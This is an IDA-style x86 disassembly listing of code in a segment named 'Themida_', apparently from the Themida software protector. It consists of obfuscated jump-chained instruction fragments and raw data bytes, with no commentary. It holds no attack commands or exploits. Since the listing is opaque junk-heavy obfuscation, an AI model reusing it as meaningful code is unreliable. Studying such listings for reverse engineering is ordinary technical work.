shl esi, 3
sub esi, 7780710Fh
push ebp
push ecx
jmp loc_572E0A
; ---------------------------------------------------------------------------
db 55h, 0BDh, 9Ah
dd 2957BA67h, 242C8BEAh, 4C481h, 0C8B0000h, 0E7895724h
dd 4C781h, 0C7810000h, 4, 5C243C87h, 2BF57h, 0B8500000h
dd 386E6F88h, 0EA68D0F7h, 89000054h, 0B7BD242Ch, 1539AD7h
dd 0C2015DE8h, 38AE958h, 0E9AD0000h, 0FFFFD33Bh, 405E089h
dd 83000000h, 48704C0h, 81575C24h, 4ECh, 24048900h, 14036856h
dd 0E95E7220h, 0FFFEF29Dh, 4AD368h, 24148900h, 0FF1270E9h
dd 4C381FFh, 50000000h, 4B8h, 0BA525100h, 0BD06661h, 376EF281h
dd 0D18945E5h, 81D9F75Ah, 48223CF1h, 0C181495Bh, 749D6BB0h
dd 0CA5EE981h, 0ABE91767h, 57FFFF19h, 4BFh, 0E106E900h
dd 0D129FFFEh, 16F6C181h, 0E95A75E9h, 0FFFFBC90h, 0C381D301h
dd 63683867h, 5870EB81h, 535A132Fh, 42474FFh, 51241C8Bh
dd 0C181E189h, 4, 4C181h, 42E90000h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57405F: ; CODE XREF: Themida_:0056308Fj
pop eax
add ebx, edi
pop edi
xchg ebx, [esp]
jmp loc_565EBE
; ---------------------------------------------------------------------------
loc_57406B: ; CODE XREF: Themida_:0056D441j
add ebx, 4
add ebx, 4
jmp loc_5734F5
; ---------------------------------------------------------------------------
loc_57407C: ; CODE XREF: Themida_:005736A0j
add ebx, 73697D6Fh
push 2B1Ch
mov [esp], edx
pop dword ptr [ebx]
jmp loc_574873
; ---------------------------------------------------------------------------
align 2
dw 0FFCBh
dd 0E9592434h, 0FFFFB127h, 240C8B66h, 3011E957h, 97E9FFFFh
db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5740AB: ; CODE XREF: Themida_:005737DEj
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
push 1662h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_56C95F
; ---------------------------------------------------------------------------
dd 7467CF81h, 0B0E94BFAh, 83FFFEFAh, 6FE904C4h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5740E3: ; CODE XREF: Themida_:00564088j
add edi, 4
xchg edi, [esp]
pop esp
or edi, 7F03460Ah
inc edi
push edi
jmp loc_5632CF
; ---------------------------------------------------------------------------
db 29h
dd 0FD895AD7h, 8A1E95Fh, 835AFFFFh, 0BF5704C4h, 40864CAFh
dd 0FFD21EE9h, 0BB535FFFh, 4, 20E9DE01h, 4FFFFC0h, 52F3049Fh
dd 1255E9h, 0E9EA3000h, 2179h, 0C59C181h, 0BE560CC0h, 262C43D9h
dd 0EA0FE946h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_574142: ; CODE XREF: Themida_:005637FAj
sub edx, ecx
jmp loc_5746B7
; ---------------------------------------------------------------------------
db 2 dup(56h), 0BEh
dd 3984001Ch, 4246C81h, 1DDA0C5Ch, 0FFFCF1E9h, 81E589FFh
dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFCB2Eh, 8124148Bh, 4C4h
dd 4C48100h, 57000000h, 4BFh, 5FFD2900h, 8B242C87h, 14892424h
dd 154BE924h, 1489FFFFh, 373C6824h, 0F75A79D3h, 4CEA81DAh
dd 0E9365212h, 0FFFFC382h, 83241C8Bh, 0B95104C4h, 4, 77E9CB01h
dd 55FFFFDCh, 0D71DE951h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5741C6: ; CODE XREF: Themida_:00562B95j
add eax, 0EE55D3Fh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], edi
push esi
mov esi, 2F8C540Dh
mov edi, esi
pop esi
or edi, 5A417B2h
jmp loc_562668
; ---------------------------------------------------------------------------
loc_5741F1: ; CODE XREF: Themida_:0056D4E4j
push 1D0Ah
mov [esp], esi
push dword ptr [esp]
jmp loc_575B0C
; ---------------------------------------------------------------------------
loc_574201: ; CODE XREF: Themida_:005660EAj
pop ebx
add edi, 0DA61D97Dh
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
mov ebx, esp
jmp loc_575CF1
; ---------------------------------------------------------------------------
db 28h
dd 46E958C3h
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574223: ; CODE XREF: Themida_:005657F1j
sub ecx, 0EA96BCE3h
or ebx, ecx
pop ecx
shl ebx, 2
shr ebx, 1
xchg edx, ebx
jmp loc_562027
; ---------------------------------------------------------------------------
loc_574238: ; CODE XREF: Themida_:0057522Bj
add esp, 4
jmp loc_562512
; ---------------------------------------------------------------------------
dd 24148B58h, 0E904C483h, 2836h
; ---------------------------------------------------------------------------
loc_57424C: ; CODE XREF: Themida_:005639CEj
push esp
pop eax
add eax, 4
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_57496F
; ---------------------------------------------------------------------------
loc_574261: ; CODE XREF: Themida_:00568880j
dec eax
jmp loc_56AEDD
; ---------------------------------------------------------------------------
db 89h
dd 29BA2414h, 1A67FD4h, 0C7815AD0h, 27C7375Dh, 0EF81C701h
dd 27C7375Dh, 8124048Bh, 4C4h, 4BA5200h, 1000000h, 3C335AD7h
dd 243C3124h, 0FF2E66E9h, 167EBFFFh, 0D2E95839h, 5F000015h
dd 0FF49F2E9h, 0E9DEF6FFh, 0FFFEDEBBh, 8124348Bh, 4C4h
dd 51F80100h, 804CA7B9h, 0F2E98134h, 1231635h, 875F59C8h
dd 248B2404h, 4EC8124h, 0E9000000h, 0FFFFCB14h, 0ABC5815Fh
dd 11C9771h, 0C172E9C5h, 30FFFFFFh, 0FEDF19E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5742F5: ; CODE XREF: Themida_:00568199j
mov edi, esi
jmp loc_56D937
; ---------------------------------------------------------------------------
dd 0BB534E58h, 714A3F2Fh, 1C8BDE09h, 0E1895124h, 4C181h
dd 0C1810000h, 4, 0FF2DA1E9h, 0BB5357FFh, 6B5D6EA8h, 0C15BDF89h
dd 0EC8105EFh, 4, 0E9243489h, 0FFFFBE29h, 0D2E9FA01h, 4DFFFFC1h
dd 0EDC1D5F7h, 47B85004h, 0E918C7F7h, 0FFFF0541h, 8704E983h
dd 0E95C240Ch, 666h, 0F7665566h, 5D662414h, 0FFF9C7E9h
dd 0C1DFF7FFh, 0CFE904EFh, 87FFFF60h, 61E9243Ch
db 2Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57437B: ; CODE XREF: Themida_:005663D1j
shl ecx, 4
shr ecx, 5
xor ecx, eax
xor eax, ecx
xor ecx, eax
not eax
push ecx
push eax
pop ecx
pop eax
shl ecx, 7
sub esp, 4
mov [esp], esi
mov esi, 8379F100h
jmp loc_570129
; ---------------------------------------------------------------------------
dd 6143B850h, 0C1056603h, 0E999FC9Eh, 0FFFF3973h, 18E7815Ch
dd 503B397Ah, 0FF48A7E9h, 377C68FFh, 0A7E90000h, 81FFFFB9h
dd 4EDh, 242C3300h, 0E9242C31h, 0FFFEF830h, 2823F380h
dd 0B7E95BD8h, 2DFFFEE1h, 24932526h, 84E9F001h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5743EF: ; CODE XREF: Themida_:0056A674j
push 776B1900h
jmp loc_569293
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 4C481h, 3C870000h, 24248B24h, 0E99CC884h, 0FFFECC32h
dd 0C181E189h, 4, 0FEF22AE9h, 6F0B2DFFh, 0CD2D41F3h, 2D5C841Ah
dd 6E564AF1h, 0FF3CCDE9h, 4BA52FFh, 89000000h, 5B2D5AD6h
dd 12E5445h, 0CE9FE9F0h, 0EF81FFFFh, 24F917AAh, 0FF7C1CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_574451: ; CODE XREF: Themida_:0056C907j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_56F639
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 582434FFh, 4C481h, 0E9530000h, 0FFFF4BA6h, 0E92434FFh
dd 0FFFEF417h, 755CE381h, 314B19BCh, 0E6F7E9FBh, 74FFFFFFh
dd 0E9E90424h
db 5Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574497: ; CODE XREF: Themida_:00572760j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
or eax, eax
jz loc_56FA51
push edi
mov edi, esp
add edi, 4
push 2D8Ah
mov [esp], esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_57577D
; ---------------------------------------------------------------------------
db 68h, 44h, 7Ah
dd 0D15D1DA6h, 0CD8145E5h, 156AE7h, 0FF055CE9h, 243489FFh
dd 23E95E57h, 55FFFFD1h, 0C5815D54h, 4, 4C581h, 0F1E90000h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57450B: ; CODE XREF: Themida_:0056BC19j
and eax, ecx
mov ecx, [esp]
jmp loc_564523
; ---------------------------------------------------------------------------
db 68h, 8Dh, 0Ch
dd 1C890000h, 0FDB15124h, 0FFCB20E9h, 164FBBFFh, 0FE977D7h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57452F: ; CODE XREF: Themida_:00567CFFj
mov ebp, [esp]
add esp, 4
sub esi, ecx
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
push ebx
mov ebx, 4
jmp loc_572461
; ---------------------------------------------------------------------------
dw 0C9BFh
dd 29219D79h, 0E908247Ch, 0FFFF41BDh, 13E4CF81h, 0EF810CD3h
dd 9CDBBBEBh, 0EAE9FE01h, 5FFFFAAh, 24932526h, 0FFB001E9h
dd 55854FFh, 4, 486068h, 24348900h, 0FFFEA0E9h, 0AE95FFFh
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574597: ; CODE XREF: Themida_:0056AEC4j
pop ebp
add ebp, 4
push 45BBh
jmp loc_56A51E
; ---------------------------------------------------------------------------
dd 31240431h, 31C131C8h, 68D1F7C8h, 7091h, 89240C89h, 4C181E1h
dd 0E9000000h, 0FFFFFD88h
; ---------------------------------------------------------------------------
loc_5745C8: ; CODE XREF: Themida_:0056A390j
add edx, 0FC86209Eh
jmp loc_56F2B8
; ---------------------------------------------------------------------------
db 87h
dd 7FE9240Ch, 89FFFFE6h, 8B54242Ch, 8952242Ch, 4C281E2h
dd 81000000h, 4C2h, 24148700h, 7A05E95Ch, 0E959FFFFh, 224Bh
dd 8304C483h, 436804C4h, 89000001h, 0EC81241Ch, 4, 0E9240489h
dd 0FFFFEBE7h, 53D1F65Ah, 5DE95455h
db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_574627: ; CODE XREF: Themida_:00576846j
pop ecx
or edx, 3FB41D85h
push 0
sub [esp], edx
jmp loc_57635F
; ---------------------------------------------------------------------------
db 89h
dd 77BD242Ch, 8139AA5Fh, 0D52454F5h, 0A92E932h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57464E: ; CODE XREF: Themida_:00567747j
pop esp
mov [esp], edx
mov edx, 7E5D2E59h
mov edi, 4033586Fh
xor edi, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 461C7F06h
and edi, edx
jmp loc_564CA7
; ---------------------------------------------------------------------------
loc_574674: ; CODE XREF: Themida_:0056A6DEj
push dword ptr [esp+4]
pop edi
jmp loc_562AE1
; ---------------------------------------------------------------------------
dw 55Fh
dd 7A18017Fh, 0FFDCABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_574689: ; CODE XREF: Themida_:00568E0Bj
mov edi, [esp]
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
jmp loc_56EABB
; ---------------------------------------------------------------------------
loc_57469E: ; CODE XREF: Themida_:005679F5j
add ebp, 4
jmp loc_561DAD
; ---------------------------------------------------------------------------
dw 0D8F7h
dd 0A33F5205h, 62B1357Dh, 51E93A2Ch
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5746B7: ; CODE XREF: Themida_:00574144j
pop ecx
sub esi, 4F4F1128h
jmp loc_574830
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 24348B00h, 4C481h, 0C0830000h, 74FF5002h, 41E90424h
dd 89FFFF03h, 321CE9E0h, 0E789FFFFh, 4C781h, 85E90000h
db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5746F3: ; CODE XREF: Themida_:00561F59j
push edx
mov edx, esp
add edx, 4
jmp loc_5612F6
; ---------------------------------------------------------------------------
loc_574701: ; CODE XREF: Themida_:005769C2j
pop ebx
dec ebx
jmp loc_573573
; ---------------------------------------------------------------------------
dd 0EF97E950h, 0F781FFFFh, 7C674AEBh, 0FF92B2E9h, 89DA29FFh
dd 0BDE95AD3h, 0BFFFFF56h, 646C6CAFh, 2414F757h, 4CEF815Fh
dd 2D9B9393h, 2D27084Bh, 0FEC943E9h, 615DBEFFh, 0F589261Fh
dd 93ED815Eh, 81640734h, 965CFDF5h, 8AECE938h, 0C383FFFFh
dd 74FF5304h, 8F5B0424h, 8B5C2404h, 0EC812404h, 4, 54241C89h
dd 4B9515Bh, 81000000h, 9F7824EBh, 0E9CB0106h, 1E49h, 303BC780h
dd 0E3285BFCh, 8324048Bh, 0C32804C4h, 50B2C380h, 0E9E6B252h
dd 0FFFF3F4Dh
; ---------------------------------------------------------------------------
loc_5747A0: ; CODE XREF: Themida_:00570D5Dj
add dword ptr [esp], 4
pop edi
add edi, 4
jmp loc_56F6C0
; ---------------------------------------------------------------------------
db 81h
dd 0D41CBBCBh, 0E7D7E979h, 0EA81FFFFh, 70D045FAh, 3B4AC281h
dd 815B22F3h, 6F4B56EAh, 55EA015Dh, 6F4B56BDh, 5DEA015Dh
dd 174BB850h, 0C20138B9h, 0FF6E8CE9h, 28E951FFh, 0F6FFFF55h
dd 6E3C0D3h, 0E94FEB80h, 0FFFF722Fh, 706668h, 241C8900h
dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 0E99CC83Bh
dd 0FFFEC826h
; ---------------------------------------------------------------------------
loc_57481C: ; CODE XREF: Themida_:005672D7j
pop ebp
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push 6CAAh
jmp loc_570897
; ---------------------------------------------------------------------------
loc_574830: ; CODE XREF: Themida_:005746BEj
sub esi, edx
add esi, 4F4F1128h
pop edx
jmp loc_56B9D6
; ---------------------------------------------------------------------------
loc_57483E: ; CODE XREF: Themida_:00572B75j
mov [esp], esi
mov esi, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5610FF
; ---------------------------------------------------------------------------
db 81h
dd 0EA3139F5h, 0A2C3811Dh, 29576410h, 0A2EB81EBh, 8B576410h
dd 0AEE9242Ch
db 29h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574873: ; CODE XREF: Themida_:0057408Cj
push dword ptr [esp]
mov ebx, [esp]
jmp loc_56D8F6
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 50241C89h, 8841B652h, 31E95AF4h, 81FFFEF6h, 2C4h
dd 0C7A4E900h, 0C801FFFEh, 2D683B05h, 2BB6E920h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5748AA: ; CODE XREF: Themida_:0056AE76j
push ebx
push esi
mov esi, 67D877B0h
jmp loc_562252
; ---------------------------------------------------------------------------
dw 0F381h
dd 4D02790h, 29AAF381h, 0E1E91BF6h, 0F7FFFFD9h, 56E2D1DAh
dd 5D196CBEh, 0E9F2310Eh, 0FFFF725Bh, 0EF81DFF7h, 3BC1A110h
dd 2EEDC181h, 8AE963E2h, 81000012h, 4C5h, 242C3300h, 33242C31h
dd 565C242Ch, 0AF0575BEh, 71EE817Dh, 17DAF05h, 81555EF7h
dd 4ECh, 24348900h, 0FB36B7BEh, 0DB0BD28h, 0F5314B27h
dd 0FEFDB3E9h, 0C48158FFh, 4, 15E9CA21h
db 27h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574933: ; CODE XREF: Themida_:00564502j
xchg esi, [esp]
mov esp, [esp]
push eax
mov eax, esp
push esi
jmp loc_56D6FD
; ---------------------------------------------------------------------------
dw 5053h
dd 0B4E98FB4h, 0BFFFFF25h, 0BC7282Bh, 0B96C781h, 0EF8159D4h
dd 6DC03EADh, 2009E781h, 56534B98h, 541910BEh, 9AE94628h
db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57496F: ; CODE XREF: Themida_:0057425Cj
xchg eax, [esp]
pop esp
xchg edi, [esp]
pop esp
push eax
mov eax, 6DCB40C2h
shl eax, 4
sub esp, 4
jmp loc_564FB0
; ---------------------------------------------------------------------------
db 50h
dd 0FEEA8EE9h, 4EC83FFh, 0B7241C89h, 5BF920A9h, 80BBF180h
dd 0C704E5F1h, 0BDE9A104h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5749AB: ; CODE XREF: Themida_:00571BCEj
mov [esp], eax
jmp loc_563EE8
; ---------------------------------------------------------------------------
db 0BAh
dd 689C10F6h, 15AD301h, 51EAE9F3h, 489FFFFh, 4EC8124h
dd 89000000h, 48B240Ch, 4C48324h, 51240C8Bh, 0C181E189h
dd 4, 4E981h, 1BE90000h, 89FFFF26h, 5FE92434h, 8300000Ch
dd 0C8702C1h, 24248B24h, 0FFDA02E9h, 435D68FFh, 34890000h
db 24h, 54h, 5Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_564EB0
; ---------------------------------------------------------------------------
loc_574A13: ; CODE XREF: Themida_:00563F8Aj
pop edx
push edi
mov edi, 4BB811B8h
or edi, 9F5697Bh
jmp loc_5753E4
; ---------------------------------------------------------------------------
db 31h, 0F7h, 5Eh
dd 0E906EFC1h, 0FFFEE13Bh
; ---------------------------------------------------------------------------
loc_574A30: ; CODE XREF: Themida_:0056E044j
push edx
sub esp, 4
mov [esp], esp
jmp loc_57504A
; ---------------------------------------------------------------------------
loc_574A3C: ; CODE XREF: Themida_:00575C7Ej
pop ecx
sub esp, 4
jmp loc_5653BE
; ---------------------------------------------------------------------------
db 0F7h, 0D1h, 0F7h
dd 980EE9D9h, 0C89FFFFh, 0E0BE5624h, 0E9688D63h, 0FFFECC54h
dd 8B241CF7h, 8EE92414h, 0B5FFFFE7h, 0D156E9C5h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_574A6E: ; CODE XREF: Themida_:005700ADj
mov ebp, ecx
pop ecx
not ebp
sub ebp, 11CD4C4Ch
push 753Ah
mov [esp], ecx
push 932A978Eh
pop ecx
xor ebp, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push eax
jmp loc_5753B1
; ---------------------------------------------------------------------------
loc_574AA4: ; CODE XREF: Themida_:00575D69j
pop ecx
push esi
mov esi, 4B2E534Ch
add esi, 184A3D46h
push ecx
push edi
mov edi, 7447BD6Fh
jmp loc_561A10
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 98h
dd 0FFFFFF2Fh, 0E9592434h, 0FFFF27D7h
; ---------------------------------------------------------------------------
loc_574ACC: ; CODE XREF: Themida_:005665A3j
dec ecx
add ecx, 79556B97h
add ecx, 53C67EF7h
add esi, ecx
pop ecx
inc esi
xor esi, 19EC6666h
xor esi, 9D3B6917h
xor eax, esi
pop esi
jmp loc_572883
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 0E90000h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574AFB: ; CODE XREF: Themida_:00573D64j
pop esp
push ebp
push ebx
push 4A010B6Fh
jmp loc_56CF66
; ---------------------------------------------------------------------------
loc_574B08: ; CODE XREF: Themida_:0056F521j
sub edi, 613E29A4h
sub edi, 4EDC6431h
push edx
jmp loc_569E6F
; ---------------------------------------------------------------------------
dw 0CF81h
dd 5A127DA6h, 7F15C781h, 0FA896E81h, 607BE95Fh, 475FFFFFh
dd 23B5EF81h, 0FB89CBD4h, 0E658E95Fh, 295CFFFFh, 0E904247Ch
dd 0FFFFD61Fh, 0E9240C89h, 1233h
; ---------------------------------------------------------------------------
loc_574B50: ; CODE XREF: Themida_:005720AEj
add esi, 190DE946h
push esi
xor dword ptr [esp], 68451DDBh
jmp loc_56B3DE
; ---------------------------------------------------------------------------
db 33h
dd 248B2404h, 2274E924h, 3489FFFFh, 0E95E5424h, 0FFFFC982h
dd 2756C681h, 0B9E95AB4h, 0ADFFFEEFh, 33204B2Dh, 68D8297Ah
dd 1EDh, 0B9240C89h, 16540917h, 6E2CE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574B9E: ; CODE XREF: Themida_:005639DBj
pop eax
jmp loc_567261
; ---------------------------------------------------------------------------
dd 0E951D4F6h, 0FFFF492Bh
; ---------------------------------------------------------------------------
loc_574BAC: ; CODE XREF: Themida_:00566996j
push dword ptr [esp]
pop esi
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_564E70
; ---------------------------------------------------------------------------
dw 5854h
dd 405h, 604AE900h, 0D2F7FFFFh, 0FF3CF0E9h, 0BF5756FFh
dd 0DB44AE3h, 6571F781h, 0FBE972A6h, 54FFFF9Fh, 0FF79F8E9h
dd 240CFFFFh, 55FE99Ch, 0F381FFFFh, 265A1134h, 4F30C381h
dd 814B269Ah, 59D88AC3h, 5BDA291Fh, 36BEEA81h, 0C20117F4h
dd 36BEC281h, 0C28117F4h, 5C673EF3h, 57D3BF57h, 0FA012D5Dh
dd 67C2815Fh, 8B34B560h, 0C4832404h, 841DE904h, 0EC81FFFFh
dd 4, 0FF5985E9h, 0C3F4E9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_574C4E: ; CODE XREF: Themida_:00568D64j
add dword ptr [esp], 6BEA75D1h
add dword ptr [esp], 0DD76901h
pop eax
or eax, 3BEF145Ah
add eax, 0FFFFFFFFh
not eax
add eax, 8DCEA06h
xor esi, eax
mov eax, [esp]
add esp, 4
sub edx, esi
push dword ptr [esp]
pop esi
add esp, 4
xor edx, edi
pop edi
loc_574C86: ; CODE XREF: Themida_:00562AB2j
; Themida_:00571020j
push dword ptr [edi+24h]
push 6A18h
mov [esp], edi
push ebp
jmp loc_575D9E
; ---------------------------------------------------------------------------
loc_574C97: ; CODE XREF: Themida_:0056B3BCj
sub edx, 2
jmp loc_56A151
; ---------------------------------------------------------------------------
loc_574CA2: ; CODE XREF: Themida_:00573264j
pop ebx
push edx
mov edx, 4
add ebx, edx
pop edx
jmp loc_56BCE7
; ---------------------------------------------------------------------------
loc_574CB1: ; CODE XREF: Themida_:0056C9EFj
pop edi
jmp loc_56C784
; ---------------------------------------------------------------------------
db 89h
dd 4812424h, 424h, 0BA525B00h, 0D874365h, 6E83E281h, 0C2812B59h
dd 760E35B9h, 6F55E281h, 0C3E93345h, 68FFFFD2h, 3796h
dd 0FF243C89h, 5F042474h, 8B24048Fh, 8B662424h, 2D682404h
dd 89000067h, 8B54242Ch, 8951242Ch, 0F8CBE9E1h, 8F5BFFFEh
dd 248B2404h, 33B5E924h, 0D001FFFFh, 0BF57515Ah, 3B3C7175h
dd 0FFAB2AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_574D25: ; CODE XREF: Themida_:0056F2D8j
push ebp
sub dword ptr [esp], 66CD6CCFh
jmp loc_5769D8
; ---------------------------------------------------------------------------
dw 148Bh
dd 73CFE924h, 1C34FFFFh, 0C630A72Ch, 8BF02858h, 0C4812414h
dd 4, 0FFFBF1E9h, 0C2ECE9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_574D56: ; CODE XREF: Themida_:00571131j
add ebp, ecx
sub ebp, 67045F6Eh
jmp loc_56C6A1
; ---------------------------------------------------------------------------
db 89h
dd 6856242Ch, 627254C2h, 1C6815Eh, 89FACB9Dh, 24348BF5h
dd 4C481h, 0E8010000h, 0FEF063E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_574D85: ; CODE XREF: Themida_:00564C8Bj
mov [esp], ecx
push ecx
jmp loc_56D22F
; ---------------------------------------------------------------------------
dw 0E6C0h
dd 2EC68005h, 82EEE80h, 0D7F65AF7h, 80BFCF80h, 0D8E908F7h
dd 0B1FFFFEDh, 3E9C0DBh, 5004E1C0h, 0EC800CB4h, 0D9ADE90Bh
dd 6866FFFEh, 89660094h, 47E92414h, 0FFFFFF6Ch, 5E042474h
dd 5C24048Fh, 192268h, 24348900h, 5F2434FFh, 23AF68h, 241C8900h
dd 0C389E954h, 0E901FFFFh, 543E981h, 15D36CDh, 505159C8h
dd 0FF4442E9h, 0E95059FFh, 0FFFFF8DBh, 27856853h, 0E95B68E5h
dd 0FFFFD73Bh
; ---------------------------------------------------------------------------
loc_574E10: ; CODE XREF: Themida_:00569ABAj
add ebx, 1A7A58B7h
push eax
mov eax, esp
add eax, 4
jmp loc_571561
; ---------------------------------------------------------------------------
db 8Bh
dd 0E9532424h, 0FFFF807Bh, 81240C8Bh, 4C4h, 0A5BA5200h
dd 0C110842Ch, 0E2C104EAh, 0AB62E902h, 8158FFFFh, 0EB0843C5h
dd 81CD012Eh, 0EB0843EDh, 0F581592Eh, 75682A42h, 0E95DEE01h
dd 0FFFF8376h, 0E389535Eh, 0FF8215E9h, 0E9F289FFh, 107Fh
dd 7B1DE953h, 0E868FFFFh, 8900001Bh, 0EC812424h, 4, 68240C89h
dd 4, 592434FFh, 6804C483h, 482Fh, 53243C89h, 0FF19FEE9h
dd 92C381FFh, 81210F20h, 7517FBEBh, 0C3835A62h, 74FF5302h
dd 8F5B0424h, 248B2404h, 48B6624h, 0E2895224h, 1E11E955h
dd 0C8BFFFFh, 0E094E924h, 5BFFFEh, 240C8BE8h, 0FEC8C0E9h
dd 246C81FFh, 0CC0E2404h, 245C0137h, 24448104h, 0CC0E2404h
dd 24448137h, 7B121704h, 0D14CE968h, 1E05FFFFh, 682D314Dh
dd 729Ah, 68241489h, 6E01h, 68243489h, 2D0414DEh, 0FF1069E9h
dd 0E9D2F7FFh, 0FFFFE210h, 148BF588h, 4C48324h, 51DD0458h
dd 58E968B5h, 51FFFF67h, 0A75174B9h, 7E9C11Dh, 0FFC8D8E9h
dd 685954FFh, 2763h, 55241489h, 4BDh, 5DEA8900h, 0E95AD101h
dd 0FFFF6B02h, 5EC680h, 428BE9F3h, 0EA29FFFFh, 0E9D1315Dh
dd 0FFFFDFC3h, 0C381CB29h, 4AA60B90h, 845E9h, 6ABB5300h
dd 0F740BF0Bh, 8E3C1D3h, 0FF47E8E9h, 2E1DBFFFh, 0F8294230h
dd 2C8F2D5Fh, 0A60563B6h, 0E94E2121h, 0FFFEEC83h
; ---------------------------------------------------------------------------
loc_574FAC: ; CODE XREF: Themida_:00570B5Ej
pop eax
and eax, esi
pop esi
or eax, eax
jz loc_56288F
push edx
push esp
jmp loc_56A60D
; ---------------------------------------------------------------------------
db 88h
dd 0FD2C5BD9h, 0F6E9C828h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_574FCB: ; CODE XREF: Themida_:00562996j
mov [esp], ebp
push edi
mov edi, 0FFFFFFFFh
mov ebp, edi
mov edi, [esp]
push 7707h
mov [esp], edx
jmp loc_566E98
; ---------------------------------------------------------------------------
dw 0D800h
dd 0E9575352h, 0FFFEDD47h, 29B368h, 242C8900h, 0FF9A22E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_574FFD: ; CODE XREF: Themida_:005667F1j
pop ecx
sub ebx, edx
jmp loc_56E3E6
; ---------------------------------------------------------------------------
loc_575005: ; CODE XREF: Themida_:00567AD5j
pop esp
jmp loc_573801
; ---------------------------------------------------------------------------
db 51h
dd 0C181E189h, 4, 8704C183h, 895C240Ch, 2434FFD8h, 4C4835Bh
dd 34FFC501h, 0C4835824h, 74FF5504h, 2C8B0424h, 4C48324h
dd 8B24048Fh, 8B662424h, 8952240Ch, 54A5E9E2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57504A: ; CODE XREF: Themida_:00574A37j
add dword ptr [esp], 4
jmp loc_56ED30
; ---------------------------------------------------------------------------
loc_575053: ; CODE XREF: Themida_:0056F6B3j
mov ebx, 4
sub edx, 7FE77FC4h
add edx, 3AD360C9h
add edx, ebx
jmp loc_565851
; ---------------------------------------------------------------------------
db 66h
dd 0E9240489h, 0FFFEBFCEh, 175068h, 240C8900h, 0EC30BBB5h
dd 0E9DCF659h, 0CADh, 0E9241487h, 0FFFFBDECh
; ---------------------------------------------------------------------------
loc_575090: ; CODE XREF: Themida_:00561392j
xor edi, 731432DBh
or edi, 4B5B52DBh
xor edi, 7B7F76FBh
add ebp, edi
jmp loc_56A09F
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 80344AB8h, 58C3295Dh, 0E9243C8Bh, 0FFFF79AAh, 815E5456h
dd 4C6h, 4EC8300h, 0E9241489h, 0FFFF19AAh
; ---------------------------------------------------------------------------
loc_5750D0: ; CODE XREF: Themida_:00563EF5j
xor edi, ebx
sub esp, 4
mov [esp], ebx
jmp loc_57011F
; ---------------------------------------------------------------------------
dd 0BB53D5F7h, 5D772A59h, 7E26ED81h, 0DD017095h, 7E26C581h
dd 815B7095h, 0F7AF31EDh, 4EC8351h, 55241C89h, 944C3F68h
dd 0BA525D62h, 0EC360D1h, 94E9D509h, 0AD000001h, 8F06772Dh
dd 26FC056Ah, 0D0E97EBFh
